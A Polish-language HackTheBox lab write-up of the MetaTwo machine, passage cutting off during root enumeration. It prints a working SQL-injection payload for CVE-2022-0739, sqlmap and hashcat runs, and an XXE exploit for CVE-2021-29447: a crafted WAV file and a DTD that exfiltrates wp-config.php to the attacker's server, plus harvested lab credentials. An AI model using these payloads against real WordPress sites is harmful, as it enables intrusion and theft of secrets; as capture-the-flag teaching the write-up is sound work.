[PL] HackTheBox - MetaTwo
April 29, 2023
Rekonesans
Nmap
Zaczynamy od skanowania IP narzędziem nmap
. Znajduje on 3 otwarte porty:
21 (FTP)
22 (SSH)
80 (HTTP)
rvr@rvr$ nmap -p- 10.10.11.186 -oN nmap.initial-scan.out
Starting Nmap 7.80 ( https://nmap.org ) at 2023-04-27 18:10 UTC
Nmap scan report for 10.10.11.186
Host is up (0.068s latency).
Not shown: 59395 closed ports, 6137 filtered ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
rvr@rvr$ nmap -p21,22,80 -sCV 10.10.11.186
Starting Nmap 7.80 ( https://nmap.org ) at 2023-04-27 18:14 UTC
Nmap scan report for 10.10.11.186
Host is up (0.25s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp
| fingerprint-strings:
| GenericLines:
| 220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
| Invalid command: try being more creative
|_ Invalid command: try being more creative
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://metapress.htb/
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.80%I=7%D=4/27%Time=644A835D%P=x86_64-pc-linux-gnu%r(Gene
SF:ricLines,8F,"220\x20ProFTPD\x20Server\x20\(Debian\)\x20\[::ffff:10\.10\
SF:.11\.186\]\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20cre
SF:ative\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20creative
SF:\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
TCP 80 (HTTP) - metapress.htb
Najpierw skupimy się na porcie 80, gdyż z reguły to tam kryje się najwięcej podatności. Bardzo często to właśnie od strony usługi webowej atakujący uzyskuje tzw. initial access.
Wordpress
Po przejściu pod podany adres IP zostajemy od razu przekierowani do http://metapress.htb/
- dodajemy więc nowy rekord 10.10.11.186 metapress.htb
do pliku /etc/hosts
, by móc odwołać się do maszyny po nazwie domenowej.
Sama strona wykorzystuje Wordpressa, co da sie zauważyć w stopce na stronie głównej. Możemy to również potwierdzić przeglądając źródło strony, gdzie widzimy typowe dla wordpressa nagłówki, np. <meta name="generator" content="WordPress 5.6.2" />
Moglibyśmy teraz uruchomić narzędzie wpscan
, który przeskanowałby stronę pod kątem znanych podatności Wordpressa. Robimy to np. tak:
rvr@rvr$ wpscan --url http://metapress.htb --detection-mode aggressive --plugins-detection aggressive
Najlepiej uruchomić go w tle, gdyż jego działanie jest dosyć czasochłonne (zwłaszcza w trybie aggresive
), a w międzyczasie przejść do manualnej eksploracji, co też czynimy.
Shell jako jnelson
Podatny plugin
Na stronie głównej widzimy link do http://metapress.htb/events/
, który prowadzi do poniższej strony:
Zaglądając w źródła możemy zauważyć interesującą informację:
Strona wykorzystuje plugin bookingpress-appointment-booking
w wersji 1.0.10
, który jak się okazuje jest podatny na sql injection w parametrze total_service
(CVE-2022-0739).
Aby go wykorzystać, musimy:
- zapisać się na dowolne wydarzenie, jednocześnie przechwytując request
burpem
, - usunąć wszystkie parametry zostawiając tylko
_wp_nonce
- jego oryginalna zawartość jest niezbędna, aby Wordpress poprawnie przetworzył wysyłany formularz, - umieścić w przechwyconym requeście nowe parametry, tj.
action=bookingpress_front_get_category_services
,category_id=33
i wreszcietotal_service
zawierający wstrzyknięte zapytanie sql:11) UNION ALL SELECT @@version,1,2,3,4,5,6,7,8-- -
, które w naszym przypadku odpyta o wersję bazy danych.
Ostatecznie, parametry zapytania wyglądają następująco:
action=bookingpress_front_get_category_services&_wpnonce=ed9b225548&category_id=33&total_service=11) UNION ALL SELECT @@version,1,2,3,4,5,6,7,8-- -
W odpowiedzi zauważamy ciąg 10.5.15-MariaDB-0+deb11u1
co potwierdza, że wstrzyknięcie sqla zadziałało poprawnie.
Sqlmap
Wykorzystamy teraz sqlmapa
by wyciągnąć z bazy wartościowe informacje. W tym celu:
- zmieniamy w
burpie
wartość parametrutotal_service
np. na1
-sqlmap
nie za bardzo “lubi się” z wstępnie wypełnionymi wstrzyknięciami sqla, najlepiej jest użyć uniwersalnego markera takiego jak1
czy*
, - zapisujemy tak powstały request do pliku (prawy przycisk myszki i
copy to file
), - w końcu, uruchamiamy
sqlmap
wskazując na nasz zapisany request (-r
) oraz jawnie podając podatny parametr (-p
) - wszystko po to, by przyspieszyć działanie sqlmapa i nie czekać aż sprawdzi on wszystkie obecne w zapytaniu parametry:
rvr@rvr$ cat sqli-burp.req
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: metapress.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 147
Origin: http://metapress.htb
Connection: close
Referer: http://metapress.htb/events/
Cookie: wordpress_498b28797b9ccef61e19f54e27d9e6f4=manager%7C1675344085%7Cj53dl7etLfBvuvY6mJXHb2PT03Z2U4YOUo6d8KufknM%7C1b3e97ad4bf2e09975b1e4c9232ec2d75eb6047d4f911653ecc2846ed7469072; PHPSESSID=g3tkipnjf9lb8n12v37aqfcnpt; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_498b28797b9ccef61e19f54e27d9e6f4=manager%7C1675344085%7Cj53dl7etLfBvuvY6mJXHb2PT03Z2U4YOUo6d8KufknM%7Cdaffc9563a6d629f2262d826e240c81d000b8331f93b887deb2004d09cd681d2
action=bookingpress_front_get_category_services&_wpnonce=ed9b225548&category_id=33&total_service=1
rvr@rvr$ sqlmap -r sqli-burp.req -p total_service
___
__H__
___ ___["]_____ ___ ___ {1.7.2#stable}
|_ -| . [)] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 18:38:35 /2023-04-28/
[18:38:35] [INFO] parsing HTTP request from 'sqli-burp.req'
[18:38:35] [INFO] resuming back-end DBMS 'mysql'
[18:38:35] [INFO] testing connection to the target URL
[18:38:35] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: total_service (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: action=bookingpress_front_get_category_services&_wpnonce=1bfac02e7d&category_id=33&total_service=1) AND (SELECT 4669 FROM (SELECT(SLEEP(5)))cVGv) AND (4767=4767
Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: action=bookingpress_front_get_category_services&_wpnonce=1bfac02e7d&category_id=33&total_service=1) UNION ALL SELECT CONCAT(0x71706b6b71,0x50616b49426979746474454d77784f447076776c716b5666714e796578734749675a7057746f777a,0x7178626b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[18:38:35] [INFO] the back-end DBMS is MySQL
web application technology: PHP 8.0.24, Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[18:38:35] [INFO] fetched data logged to text files under '/home/rvr/.sqlmap/output/metapress.htb'
[*] ending @ 18:38:35 /2023-04-28/
Następnie wyciągamy z bazy:
- jej nazwę,
- tabele,
- loginy i hashe haseł z tabli
wp_users
rvr@rvr$ sqlmap -r sqli-burp.req -p total_service --dbs
...[snip]...
[*] blog
[*] information_schema
rvr@rvr$ sqlmap -r sqli-burp.req -p total_service -D blog --tables
...[snip]...
[18:46:20] [INFO] fetching tables for database: 'blog'
Database: blog
[27 tables]
+--------------------------------------+
| wp_bookingpress_appointment_bookings |
| wp_bookingpress_categories |
| wp_bookingpress_customers |
| wp_bookingpress_customers_meta |
| wp_bookingpress_customize_settings |
| wp_bookingpress_debug_payment_log |
| wp_bookingpress_default_daysoff |
| wp_bookingpress_default_workhours |
| wp_bookingpress_entries |
| wp_bookingpress_form_fields |
| wp_bookingpress_notifications |
| wp_bookingpress_payment_logs |
| wp_bookingpress_services |
| wp_bookingpress_servicesmeta |
| wp_bookingpress_settings |
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+--------------------------------------+
rvr@rvr$ sqlmap -r sqli-burp.req -p total_service -D blog -T wp_users -C user_email,display_name,user_pass --dump
...[snip]...
Database: blog
Table: wp_users
[2 entries]
+-----------------------+--------------+------------------------------------+
| user_email | display_name | user_pass |
+-----------------------+--------------+------------------------------------+
| [email protected] | admin | $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV. |
| [email protected] | manager | $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70 |
+-----------------------+--------------+------------------------------------+
Hashcat
Posiadając hashe haseł, możemy próbować je złamać przy pomocy hashcata
. Przygotowujemy plik z hashami:
rvr@rvr$ cat metapress_hashes
admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70
Uruchamiamy hashcata
z mode
ustawionym na 400
, czyli. phpass, WordPress (MD5), phpBB3 (MD5), Joomla (MD5)
, bo taki typ hashy wykorzystuje Wordpress:
rvr@rvr$ hashcat -m 400 --username metapress_hashes /usr/share/wordlists/rockyou.txt
hashcat (v5.1.0) starting...
$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70:partylikearockstar
rvr@rvr$ hashcat -m 400 --username metapress_hashes --show
manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70:partylikearockstar
Jak widać, udało się odzyskać hasło użytkownika manager
. Możemy teraz zalogować się do Wordpressa podając pozyskane dane.
Wordpress - użytkownik manager
Okazuje się, że manager
jest nisko uprzywilejowanym użytkownikiem, może jedynie edytować profil i wysyłać pliki multimedialne. Zatem, nie jest możliwe wykorzystanie typowego ataku polegającego na edycji szablonu Wordpressa i doklejeniu web shella, który później zostaje wykonany przez interpreter php, dając tym samym dostęp do shella atakującemu.
Z wcześniejszej enumeracji wiemy, że strona wykorzystuje wordpressa w wersji 5.6.2. Lista podatności dla tej wersji jest dosyć długa. Moglibyśmy testować je jedna po drugiej, lecz my skupimy sie na jednej z nich, tj. WordPress 5.6-5.7 - Authenticated XXE Within the Media Library Affecting PHP 8, ponieważ wiemy, że użytkownik manager ma możliwość przesyłania plików.
CVE-2021-29447
Opis podatności na podlinkowanej stronie wskazuje, że serwer php, na którym uruchomiony jest wordpress powinien być w wersji przynajmniej 8. Możemy potwierdzić, że mamy właśnie z takim do czynienia, przegladając nagłówki odpowiedzi serwera (lub na zrzucie ekranu wyżej z narzędzia burp
) - widzimy tam informację X-Powered-By: PHP/8.0.24
.
Właściwa podatność, jaką w tym wypadku jest XXE, polega na wstrzyknięciu zewnętrznej encji xml, która po przeparsowaniu przez silnik pozwala na czytanie dowolnych plików serwera, a w niektórych przypadkach nawet RCE. Exploitacja zgodnie z CVE-2021-29447 wygląda nastepująco:
- Tworzymy plik
wav
, który zawiera encje xml pobierającą dodatkowy plikdtd
(10.10.14.11
to nasz adres ip):
rvr@rvr$ echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.11:8888/xxe.dtd'"'"'>%remote;%init;%trick;] >\x00'> malicious.wav
- Tworzymy właściwy plik
dtd
, który zawiera dwie kolejne encje xml odpowiedzialne za wczytanie pliku z serwera (w tym przypadkuwp_config.php
, gdyż tam najczęściej znajdują się różne “sekrety” wordpressa), zakodowanie go do postaci base64 i eksfiltrację na adres ip kontrolowany przez nas:
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=../wp-config.php">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.11:8888/?p=%file;'>" >
-
Udostępniamy plik
xxe.dtd
na porcie 8888 przy pomocypython3 -m http.server 8888
, gdzie również za chwile odbierzemy nasze wykradzione dane. -
Przesyłamy plik
malicious.wav
stworzony w kroku pierwszym poprzez panel Wordpressa:
Po chwili widzimy w konsoli:
rvr@rvr$ python3 -m http.server 9999
Serving HTTP on 0.0.0.0 port 9999 (http://0.0.0.0:9999/) ...
10.10.11.186 - - [28/Apr/2023 23:00:01] "GET /xxe.dtd HTTP/1.1" 200 -
10.10.11.186 - - [28/Apr/2023 23:00:02] "GET /xxe.dtd HTTP/1.1" 200 -
10.10.11.186 - - [28/Apr/2023 23:00:01] "GET /?p=PD9waHANCi8qKiBUaGUgbmFtZSBvZiB0aGUgZGF0YWJhc2UgZm9yIFdvcmRQcmVzcyAqLw0KZGVmaW5lKCAnREJfTkFNRScsICdibG9nJyApOw0KDQovKiogTXlTUUwgZGF0YWJhc2UgdXNlcm5hbWUgKi8NCmRlZmluZSggJ0RCX1VTRVInLCAnYmxvZycgKTsNCg0KLyoqIE15U1FMIGRhdGFiYXNlIHBhc3N3b3JkICovDQpkZWZpbmUoICdEQl9QQVNTV09SRCcsICc2MzVBcUBUZHFyQ3dYRlVaJyApOw0KDQovKiogTXlTUUwgaG9zdG5hbWUgKi8NCmRlZmluZSggJ0RCX0hPU1QnLCAnbG9jYWxob3N0JyApOw0KDQovKiogRGF0YWJhc2UgQ2hhcnNldCB0byB1c2UgaW4gY3JlYXRpbmcgZGF0YWJhc2UgdGFibGVzLiAqLw0KZGVmaW5lKCAnREJfQ0hBUlNFVCcsICd1dGY4bWI0JyApOw0KDQovKiogVGhlIERhdGFiYXNlIENvbGxhdGUgdHlwZS4gRG9uJ3QgY2hhbmdlIHRoaXMgaWYgaW4gZG91YnQuICovDQpkZWZpbmUoICdEQl9DT0xMQVRFJywgJycgKTsNCg0KZGVmaW5lKCAnRlNfTUVUSE9EJywgJ2Z0cGV4dCcgKTsNCmRlZmluZSggJ0ZUUF9VU0VSJywgJ21ldGFwcmVzcy5odGInICk7DQpkZWZpbmUoICdGVFBfUEFTUycsICc5TllTX2lpQEZ5TF9wNU0yTnZKJyApOw0KZGVmaW5lKCAnRlRQX0hPU1QnLCAnZnRwLm1ldGFwcmVzcy5odGInICk7DQpkZWZpbmUoICdGVFBfQkFTRScsICdibG9nLycgKTsNCmRlZmluZSggJ0ZUUF9TU0wnLCBmYWxzZSApOw0KDQovKiojQCsNCiAqIEF1dGhlbnRpY2F0aW9uIFVuaXF1ZSBLZXlzIGFuZCBTYWx0cy4NCiAqIEBzaW5jZSAyLjYuMA0KICovDQpkZWZpbmUoICdBVVRIX0tFWScsICAgICAgICAgJz8hWiR1R08qQTZ4T0U1eCxwd2VQNGkqejttYHwuWjpYQClRUlFGWGtDUnlsN31gclhWRz0zIG4+KzNtPy5CLzonICk7DQpkZWZpbmUoICdTRUNVUkVfQVVUSF9LRVknLCAgJ3gkaSQpYjBdYjFjdXA7NDdgWVZ1YS9KSHElKjhVQTZnXTBid29FVzo5MUVaOWhdcldsVnElSVE2NnBmez1dYSUnICk7DQpkZWZpbmUoICdMT0dHRURfSU5fS0VZJywgICAgJ0orbXhDYVA0ejxnLjZQXnRgeml2PmRkfUVFaSU0OCVKblJxXjJNakZpaXRuIyZuK0hYdl18fEUrRn5De3FLWHknICk7DQpkZWZpbmUoICdOT05DRV9LRVknLCAgICAgICAgJ1NtZURyJCRPMGppO145XSpgfkdOZSFwWEBEdldiNG05RWQ9RGQoLnItcXteeihGPyk3bXhOVWc5ODZ0UU83TzUnICk7DQpkZWZpbmUoICdBVVRIX1NBTFQnLCAgICAgICAgJ1s7VEJnYy8sTSMpZDVmW0gqdGc1MGlmVD9adi41V3g9YGxAdiQtdkgqPH46MF1zfWQ8Jk07Lix4MHp+Uj4zIUQnICk7DQpkZWZpbmUoICdTRUNVUkVfQVVUSF9TQUxUJywgJz5gVkFzNiFHOTU1ZEpzPyRPNHptYC5RO2FtaldedUpya18xLWRJKFNqUk9kV1tTJn5vbWlIXmpWQz8yLUk/SS4nICk7DQpkZWZpbmUoICdMT0dHRURfSU5fU0FMVCcsICAgJzRbZlNeMyE9JT9ISW9wTXBrZ1lib3k4LWpsXmldTXd9WSBkfk49Jl5Kc0lgTSlGSlRKRVZJKSBOI05PaWRJZj0nICk7DQpkZWZpbmUoICdOT05DRV9TQUxUJywgICAgICAgJy5zVSZDUUBJUmxoIE87NWFzbFkrRnE4UVdoZVNOeGQ2VmUjfXchQnEsaH1WOWpLU2tUR3N2JVk0NTFGOEw9YkwnICk7DQoNCi8qKg0KICogV29yZFByZXNzIERhdGFiYXNlIFRhYmxlIHByZWZpeC4NCiAqLw0KJHRhYmxlX3ByZWZpeCA9ICd3cF8nOw0KDQovKioNCiAqIEZvciBkZXZlbG9wZXJzOiBXb3JkUHJlc3MgZGVidWdnaW5nIG1vZGUuDQogKiBAbGluayBodHRwczovL3dvcmRwcmVzcy5vcmcvc3VwcG9ydC9hcnRpY2xlL2RlYnVnZ2luZy1pbi13b3JkcHJlc3MvDQogKi8NCmRlZmluZSggJ1dQX0RFQlVHJywgZmFsc2UgKTsNCg0KLyoqIEFic29sdXRlIHBhdGggdG8gdGhlIFdvcmRQcmVzcyBkaXJlY3RvcnkuICovDQppZiAoICEgZGVmaW5lZCggJ0FCU1BBVEgnICkgKSB7DQoJZGVmaW5lKCAnQUJTUEFUSCcsIF9fRElSX18gLiAnLycgKTsNCn0NCg0KLyoqIFNldHMgdXAgV29yZFByZXNzIHZhcnMgYW5kIGluY2x1ZGVkIGZpbGVzLiAqLw0KcmVxdWlyZV9vbmNlIEFCU1BBVEggLiAnd3Atc2V0dGluZ3MucGhwJzsNCg== HTTP/1.1" 200 -
Plik wp_config.php
odebrany w parametrze p
po zdekodowaniu z base64:
rvr@rvr$ echo PD9waHANCi8qK... | base64 -d
<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );
/** MySQL database username */
define( 'DB_USER', 'blog' );
/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );
...[snip]...
Widzimy tu między innym hasło do bazy danych 635Aq@TdqrCwXFUZ
oraz dane logowania do ftp: metapress.htb:9NYS_ii@FyL_p5M2NvJ
. Analogicznie możemy wykraść również inne pliki z serwera, np. /etc/passwd
, który pozwoli nam poznać nazwy użytkowników. By nie powielać informacji, poniżej znajduje się efekt końcowy - wykradziona zawartość pliku /etc/passwd
:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash
systemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin
systemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:105:111:MySQL Server,,,:/nonexistent:/bin/false
proftpd:x:106:65534::/run/proftpd:/usr/sbin/nologin
ftp:x:107:65534::/srv/ftp:/usr/sbin/nologin
Plik wskazuje na obecność dwóch użytkowników z dostępem do shella: root
i jnelson
. Kolejnym krokiem mogłaby być próba zalogowania się do ssh na konto tych użytkowników podając znalezione wcześniej hasła - okazuje się jednak, że żadne z nich nie jest właściwe.
TCP 21 (FTP)
Ponieważ w pliku wp-config.php
znaleźliśmy dane logowania do ftp
, przechodzimy teraz do tej usługi. Po zalogowaniu się widzimy dwa foldery: blog
i mailer
. Folder blog
zawiera źrodła wordpressa, folder mailer
z kolei m.in. plik send_email.php
:
rvr@rvr$ ftp metapress.htb
Connected to metapress.htb.
220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
Name (metapress.htb:rvr): metapress.htb
331 Password required for metapress.htb
Password:
230 User metapress.htb logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x 5 metapress.htb metapress.htb 4096 Oct 5 2022 blog
drwxr-xr-x 3 metapress.htb metapress.htb 4096 Oct 5 2022 mailer
226 Transfer complete
ftp> cd blog
250 CWD command successful
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection for file list
-rw-r--r-- 1 metapress.htb metapress.htb 405 Feb 6 2020 index.php
-rw-r--r-- 1 metapress.htb metapress.htb 19915 Feb 12 2020 license.txt
-rw-r--r-- 1 metapress.htb metapress.htb 7278 Jun 26 2020 readme.html
-rw-r--r-- 1 metapress.htb metapress.htb 7101 Jul 28 2020 wp-activate.php
drwxr-xr-x 9 metapress.htb metapress.htb 4096 Oct 5 2022 wp-admin
-rw-r--r-- 1 metapress.htb metapress.htb 351 Feb 6 2020 wp-blog-header.php
-rw-r--r-- 1 metapress.htb metapress.htb 2328 Oct 8 2020 wp-comments-post.php
-rw-r--r-- 1 metapress.htb metapress.htb 2032 Jun 23 2022 wp-config.php
-rw-r--r-- 1 metapress.htb metapress.htb 2913 Feb 6 2020 wp-config-sample.php
drwxr-xr-x 6 metapress.htb metapress.htb 4096 Oct 5 2022 wp-content
-rw-r--r-- 1 metapress.htb metapress.htb 3939 Jul 30 2020 wp-cron.php
drwxr-xr-x 25 metapress.htb metapress.htb 12288 Oct 5 2022 wp-includes
-rw-r--r-- 1 metapress.htb metapress.htb 2496 Feb 6 2020 wp-links-opml.php
-rw-r--r-- 1 metapress.htb metapress.htb 3300 Feb 6 2020 wp-load.php
-rw-r--r-- 1 metapress.htb metapress.htb 49831 Nov 9 2020 wp-login.php
-rw-r--r-- 1 metapress.htb metapress.htb 8509 Apr 14 2020 wp-mail.php
-rw-r--r-- 1 metapress.htb metapress.htb 20975 Nov 12 2020 wp-settings.php
-rw-r--r-- 1 metapress.htb metapress.htb 31337 Sep 30 2020 wp-signup.php
-rw-r--r-- 1 metapress.htb metapress.htb 4747 Oct 8 2020 wp-trackback.php
-rw-r--r-- 1 metapress.htb metapress.htb 3236 Jun 8 2020 xmlrpc.php
226 Transfer complete
Jedną z rzeczy, która nasuwa się na tym etapie, jest przesłanie złośliwego pliku php
(np. z webshellem) do folderu blog
, a następnie odwołanie się do niego pozwalając serwerowi php na jego wykonanie. W ten sposób otrzymalibyśmy zdalne wykonanie kodu na serwerze. Niestety ze względu na niewystarczające uprawnienia nie mamy możliwości przesyłania własnych plików:
ftp> pwd
257 "/blog" is the current directory
ftp> put webshell.php
local: webshell.php remote: webshell.php
200 PORT command successful
550 webshell.php: Operation not permitted
Skupmy się więc na zawartości katalogu mailer
:
ftp> cd ../mailer
250 CWD command successful
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x 4 metapress.htb metapress.htb 4096 Oct 5 2022 PHPMailer
-rw-r--r-- 1 metapress.htb metapress.htb 1126 Jun 22 2022 send_email.php
226 Transfer complete
ftp> cd PHPMailer
250 CWD command successful
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection for file list
-rw-r--r-- 1 metapress.htb metapress.htb 2092 Jun 20 2022 COMMITMENT
-rw-r--r-- 1 metapress.htb metapress.htb 2503 Jun 20 2022 composer.json
-rw-r--r-- 1 metapress.htb metapress.htb 5521 Jun 20 2022 get_oauth_token.php
drwxr-xr-x 2 metapress.htb metapress.htb 4096 Oct 5 2022 language
-rw-r--r-- 1 metapress.htb metapress.htb 26529 Jun 20 2022 LICENSE
-rw-r--r-- 1 metapress.htb metapress.htb 16240 Jun 20 2022 README.md
-rw-r--r-- 1 metapress.htb metapress.htb 7584 Jun 20 2022 SECURITY.md
drwxr-xr-x 2 metapress.htb metapress.htb 4096 Oct 5 2022 src
-rw-r--r-- 1 metapress.htb metapress.htb 5 Jun 20 2022 VERSION
226 Transfer complete
Najbardziej interesujacy wydaje się plik send_mail.php
, gdyż wygląda na całkowicie niestandardowy - w przeciwieństwie do katalogu PHPMailer
, którego zawartość wskazuje na zewnętrzną bibliotekę. Pobieramy więc plik send_mail.php
poleceniem get send_mail.php
:
ftp> cd ../
250 CWD command successful
ftp> get send_email.php
local: send_email.php remote: send_email.php
200 PORT command successful
150 Opening BINARY mode data connection for send_email.php (1126 bytes)
226 Transfer complete
1126 bytes received in 0.00 secs (3.7945 MB/s)
ftp> exit
221 Goodbye.
Jego zawartość wygląda następująco:
<?php
/*
* This script will be used to send an email to all our users when ready for launch
*/
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;
require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';
$mail = new PHPMailer(true);
$mail->SMTPDebug = 3;
$mail->isSMTP();
$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;
$mail->Username = "[email protected]";
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";
$mail->SMTPSecure = "tls";
$mail->Port = 587;
$mail->From = "[email protected]";
$mail->FromName = "James Nelson";
$mail->addAddress("[email protected]");
$mail->isHTML(true);
$mail->Subject = "Startup";
$mail->Body = "<i>We just started our new blog metapress.htb!</i>";
try {
$mail->send();
echo "Message has been sent successfully";
} catch (Exception $e) {
echo "Mailer Error: " . $mail->ErrorInfo;
}
Zauważamy tu kolejne dane logowania:
- username =>
[email protected]
, - password =>
Cb4_JmWM8zUZWMu@Ys
.
Okazuje się, ze pasują one do ssh użytkownika jnelson
.
rvr@rvr$ ssh [email protected]
[email protected]'s password:
Linux meta2 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Apr 28 18:24:16 2023 from 10.10.14.40
jnelson@meta2:~$ id
uid=1000(jnelson) gid=1000(jnelson) groups=1000(jnelson)
jnelson@meta2:~$
Możemy teraz odczytać flagę z katalogu domowego użytkownika:
jnelson@meta2:~$ cat user.txt
2613db400***********************
Shell jako root
Enumeracja
W katalogu domowym użytkownika widzimy niecodzienny folder .passpie
:
jnelson@meta2:~$ ls -la
total 36
drwxr-xr-x 5 jnelson jnelson 4096 Apr 28 22:36 .
drwxr-xr-x 3 root root 4096 Oct 5 2022 ..
lrwxrwxrwx 1 root root 9 Jun 26 2022 .bash_history -> /dev/null
-rw-r--r-- 1 jnelson jnelson 220 Jun 26 2022 .bash_logout
-rw-r--r-- 1 jnelson jnelson 3526 Jun 26 2022 .bashrc
drwxr-xr-x 3 jnelson jnelson 4096 Oct 25 2022 .local
dr-xr-x--- 3 jnelson jnelson 4096 Oct 25 2022 .passpie
-rw-r--r-- 1 jnelson jnelson 807 Jun 26 2022 .profile
drwx------ 2 jnelson jnelson 4096 Apr 28 13:47 .ssh
-rw-r----- 1 root jnelson 33 Apr 28 12:52 user.txt
jnelson@meta2:~$ cd .passpie
jnelson@meta2:~/.passpie$ find .
.
./.keys
./ssh
./ssh/root.pass
./ssh/jnelson.pass
./.config
Passpie
Passpie
to lokalny menadzer haseł. Gdy go uruchomimy, dowiemy się, że przechowuje on następujące hasła:
jnelson@meta2:~/.passpie$ passpie list
╒════════╤═════════╤════════════╤═══════════╕
│ Name │ Login │ Password │ Comment │
╞════════╪═════════╪════════════╪═══════════╡
│ ssh │ jnelson │ ******** │ │
├────────┼─────────┼────────────┼───────────┤
│ ssh │ root │ ******** │ │
╘════════╧═════════╧════════════╧═══════════╛
Aby jednak dostać się do nich musimy znać passphrase
:
jnelson@meta2:~/.passpie$ passpie export finalpass
Passphrase:
Przyglądając się zawartości plików .pass
z folderu .passpie/ssh/
